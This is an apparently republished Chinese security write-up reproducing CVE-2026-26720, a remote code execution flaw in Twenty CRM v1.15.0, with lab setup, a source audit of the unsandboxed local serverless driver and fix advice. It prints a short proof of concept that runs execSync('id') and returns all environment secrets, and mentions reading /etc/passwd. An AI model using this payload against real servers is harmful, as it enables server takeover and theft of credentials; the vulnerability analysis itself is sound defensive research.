TwentyCRM远程代码执行|CVE-2026-26720复现&研究

admin 2026-03-18 03:30:47 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析TwentyCRMv1.15.0远程代码执行漏洞CVE-2026-26720。漏洞源于local.driver.ts缺乏沙箱隔离,攻击者可通过GraphQL上传并执行恶意Node.js代码,窃取环境变量并控制服务器。内容包括环境搭建、流量特征、代码审计及PoC原理,指出设计缺陷在于将用户脚本视为信任代码。建议升级至v1.15.1或启用进程隔离修复。 综合评分: 95 文章分类: 漏洞分析,代码审计,渗透测试,漏洞POC


cover_image

Twenty CRM 远程代码执行 | CVE-2026-26720 复现&研究

原创

404号浪漫 404号浪漫

404号浪漫

2026年3月6日 21:34 北京

0x0 背景介绍

Twenty CRM是一款现代开源客户关系管理(CRM)系统。在版本v1.15.0 及之前的版本中,其本地存储驱动模块 local.driver.ts 在处理文件路径或相关存储操作时存在安全缺陷。 远程攻击者可以通过构造恶意的输入参数,利用该模块的逻辑漏洞在服务器上执行任意系统命令,从而实现远程代码执行(RCE)并完全控制服务器。

漏洞详情

| 漏洞类型 | 影响版本 | 利用复杂度 | CVE编号 | | — | — | — | — | | 代码执行 | ≤v1.15.0 | 低 | CVE-2026-26720 |

攻击效果:

  • 执行命令、控制服务器

0x1 环境搭建(Ubuntu24)

1.1-Ubuntu24+Docker搭建配置

# 1、创建专用目录mkdir twenty-crm && cd twenty-crm# 2、下载 .env 示例文件-可以手动修改(修改示例文件,指定版本、设置PG密码、设置url地址、设置APP_SECRET)curl -o .env https://raw.githubusercontent.com/twentyhq/twenty/refs/heads/main/packages/twenty-docker/.env.example# 2、或者直接使用这个,一样的,SERVER_URL需要自己更新下#生成 APP_SECRET命令:openssl rand -base64 32TAG=v1.15.0PG_DATABASE_USER=postgresPG_DATABASE_PASSWORD=MyStrongDBPwd123PG_DATABASE_HOST=dbPG_DATABASE_PORT=5432REDIS_URL=redis://redis:6379SERVER_URL=http://192.168.119.131:3000APP_SECRET=C464OBXQKePsF8hZspTBHhKNqkrvjqdwfZf3T5MhSjo=STORAGE_TYPE=local# STORAGE_S3_REGION=eu-west3# STORAGE_S3_NAME=my-bucket# STORAGE_S3_ENDPOINT=#3、下载 Docker Compose 文件,curl -o docker-compose.yml https://raw.githubusercontent.com/twentyhq/twenty/refs/heads/main/packages/twenty-docker/docker-compose.yml#4. 启动服务docker compose up -d#5、查看应用日志docker compose logs -f server
  • 后续访问web服务进行注册账号

0x2 漏洞复现

2.1-手动复现

  • ### 操作步骤参考:
https://github.com/Kai-One001/cve-/blob/main/CVE-2026-26720-Twenty-RCE.md
  • 命令执行和shell交付式

 

2.2-复现流量特征 (PCAP)

  • 命令执行,这次是只能看到响应,具体命令应该看不到(可能是因为Twenty 的架构是分离式)

  • 交互式shell,其它命令


0x3 漏洞原理分析

根据公开信息,在源码中查询 local.driver.ts 文件,共发现三个关键位置,分别对应执行流水线的不同阶段:

| 文件路径 | 职责描述 | | — | — | | \twenty-1.15.0\packages\twenty-server\src\engine\core-modules\serverless\drivers\local.driver.ts | 核心执行者 :负责运行用户代码(漏洞核心所在) | | \twenty-1.15.0\packages\twenty-server\src\engine\core-modules\file-storage\drivers\local.driver.ts | 存储层 :负责把用户写的代码从数据库/存储下载到本地临时目录,供执行者使用 | | \twenty-1.15.0\packages\twenty-server\src\engine\core-modules\code-interpreter\drivers\local.driver.ts | 编译层 :负责将 TypeScript 编译/转译为 JavaScript |

3.1-动态引导脚本生成(writeBootstrapRunner)

该函数负责生成一个临时的Runner脚本 (__runner.cjs),用于加载和执行用户代码。

// 文件: packages/twenty-server/src/engine/core-modules/serverless/drivers/local.driver.tsconst code = `  const { pathToFileURL } = require('node:url');  (async () => {    try {      // 1. 动态导入用户编译后的代码 (没有完整性校验)      const builtUrl = pathToFileURL(${JSON.stringify(builtFileAbsPath)});      const mod = await import(builtUrl.href);
      // 2. 直接调用用户导出的函数 (例如:main/handle)      if (typeof mod.${handlerName} !== 'function') throw new Error('...');
      // 3. 监听 IPC 消息或直接读取参数执行      process.on('message', async (msg) => {        //  直接执行用户逻辑,无任何 API 拦截或上下文限制        const out = await mod.${handlerName}(msg.payload);         process.send({ ok: true, result: out });      });    } catch (err) { /* 错误处理 */ }  })();`;await fs.writeFile(runnerPath, code, 'utf8');
  • 在标准的Node.js 环境中,import进来的用户代码拥有完整的Node.js全局对象和内置模块访问权。
  • 没有任何沙箱机制拦截用户对 child_process、fs 等敏感模块的调用。

3.2、不安全进程生成 (runChildWithEnv)

该函数负责启动子进程来运行上述生成的 Runner 脚本。

 // 文件: packages/twenty-server/src/engine/core-modules/serverless/drivers/local.driver.ts      const child = spawn(process.execPath, [runnerPath], {        //危险点:子进程获得了父进程的所有 Secrets (DB_URL, JWT_SECRET, etc.)        env: { ...process.env, ...env },         // 危险点:允许子进程进行完整的输入输出交互,无能力削减 (Capability Dropping)        stdio: ['pipe', 'pipe', 'pipe', 'ipc'],      });
  • 无沙箱隔离:仅仅是普通的 fork/spawn,调用没有使用 –no-warnings 以外的任何安全启动参数,也未使用Docker 容器隔离。
  • 权限等价:如果主进程以 root 或高权限用户运行,子进程同样拥有该权限。
  • Secrets 泄露:..process.env 使得攻击者只需一行 console.log(process.env) 即可窃取所有配置。

3.3、 攻击链路验证

3.3.1 接口定位

查询 ServerlessFunctionService 调用情况,锁定以下 Resolver文件:

dir /s /b *serverless*.resolver.ts# 结果:\twenty-1.15.0\packages\twenty-server\src\engine\metadata-modules\serverless-function\serverless-function.resolver.ts\twenty-1.15.0\packages\twenty-server\src\engine\metadata-modules\serverless-function-layer\serverless-function-layer.resolver.ts

3.3.2 关键代码审计

  1. 恶意代码植入入口 (Code Injection Entry)
// 1、恶意代码植入入口 (Code Injection Entry)  @Mutation(() => ServerlessFunctionDTO)  @UseGuards(SettingsPermissionGuard(PermissionFlagType.WORKFLOWS))  async createOneServerlessFunction( // 创建函数接口    @Args('input')    input: CreateServerlessFunctionInput, //  攻击者控制输入    @AuthWorkspace() { id: workspaceId }: WorkspaceEntity,  ) {    try {      return await this.serverlessFunctionService.createOneServerlessFunction(        input, // 直接透传用户输入(包含 sourceCode)        workspaceId,      );    } catch (error) {      serverlessFunctionGraphQLApiExceptionHandler(error);    }  }
  1. 远程代码执行触发器 (RCE Trigger)
// 2、远程代码执行触发器 (RCE Trigger)  @Mutation(() => ServerlessFunctionExecutionResultDTO)  @UseGuards(SettingsPermissionGuard(PermissionFlagType.WORKFLOWS))  async executeOneServerlessFunction( // 执行函数接口    @Args('input') input: ExecuteServerlessFunctionInput,    @AuthWorkspace() { id: workspaceId }: WorkspaceEntity,  ) {    try {      const { id, payload, version } = input;
      return await this.serverlessFunctionService.executeOneServerlessFunction({        id,        workspaceId,        payload,        version,      }); //  调用 Service -> Driver -> spawn (无沙箱执行)    } catch (error) {      serverlessFunctionGraphQLApiExceptionHandler(error);    }  }

3.3.3 攻击流程总结

  • 恶意代码植入入口:createOneServerlessFunction 允许认证用户通过 GraphQL 传入 CreateServerlessFunctionInput。
  • 该 Input中必然包含源代码字段(如sosourceCode),攻击者可在此写入任意 Node.js 代码(如 child_process.exec)。
  • 远程代码执行触发器:executeOneServerlessFunction 接收函数ID和payload,直接调用 Service层的 execute方法。结合前文分析的 LocalDriver,这将导致之前上传的恶意代码在宿主机上以子进程形式运行,且拥有完整的环境变量权限。
  • 数据回传:子进程执行恶意代码,通过IPC将 execSync 的结果和 process.env 内容返回给主进程,最终通过GraphQL响应返回给攻击者。

完整调用链:

Resolver   -> Service   -> LocalDriver.execute()      -> download()      -> build()      -> writeBootstrapRunner()      -> spawn() [漏洞爆发点]

3.4、PoC 的对应关系与原理解析

PS: 多嘴提一下 针对公开 PoC 的原理性解释:

公开 PoC 示例:

import { execSync } from 'child_process';export const main = async (*params*: any): Promise               => { const output = execSync('id').toString(); const secrets = JSON.stringify(process.env); return { data: output, secrets: secrets };};

在上述执行模型下,为什么能成功?

1、为什么能 execSync(‘id’)?

1.在__runner.cjs里import的bundle,bundle里import{execSync}from'child_process'会变成普通 Node 模块导入;2.没有任何地方禁止使用child_process;3.子进程本身就是一个完整的Node进程,有权限执行系统命令,execSync('id')就是在容器/宿主机里直接跑 id。

2、为什么能拿到所有环境变量?

1.子进程是这样启动的:env: { ...process.env, ...env };2.因此在你的函数里访问process.env,看到的就是服务启动时加载的全部环境变量,包括DB URL、API key等。

3、为什么可以读 /etc/passwd 之类的文件?

1.你完全可以import {readFileSync} from 'fs',甚至直接execSync('cat /etc/passwd');2.由于进程权限与 Twenty 服务器相同,只要容器/宿主文件系统允许,读写都是可以的。

结论:

这一切都不是简单的“代码 bug”,而是“安全边界设计为 0”本质上就是把“用户可编辑的脚本”当成了“完全信任的后端代码”来运行,不过呢Twenty已确认此问题仅影响本地/自托管安装,他们的云端(多租户)产品在AWS Lambda 上运行无服务器函数,并具有适当的隔离措施。此漏洞是由于本地驱动程序仅为方便起见而提供的快捷方式,而非安全加固的执行环境所致

0x4 修复建议

1、升级最新版本:将组件升级至1.15.1及以上版本

https://github.com/twentyhq/twenty

2、临时防护措施:

  • 限制访问:临时禁用local.driver.ts模块外部访问

  • 防火墙拦截:配置规则,拦截对模块异常的请求,关注敏感命令,尤其是包含 eval、exec、shell 等关键词的请求

  • 操作隔离:启用进程隔离或者vm轻量级隔离、经过沙箱后在执行运行

免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。

/**哇~这个时候居然还有瑞雪**/


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:404号浪漫 404号浪漫 404号浪漫《Twenty CRM 远程代码执行 | CVE-2026-26720 复现&研究》

评论:0   参与:  0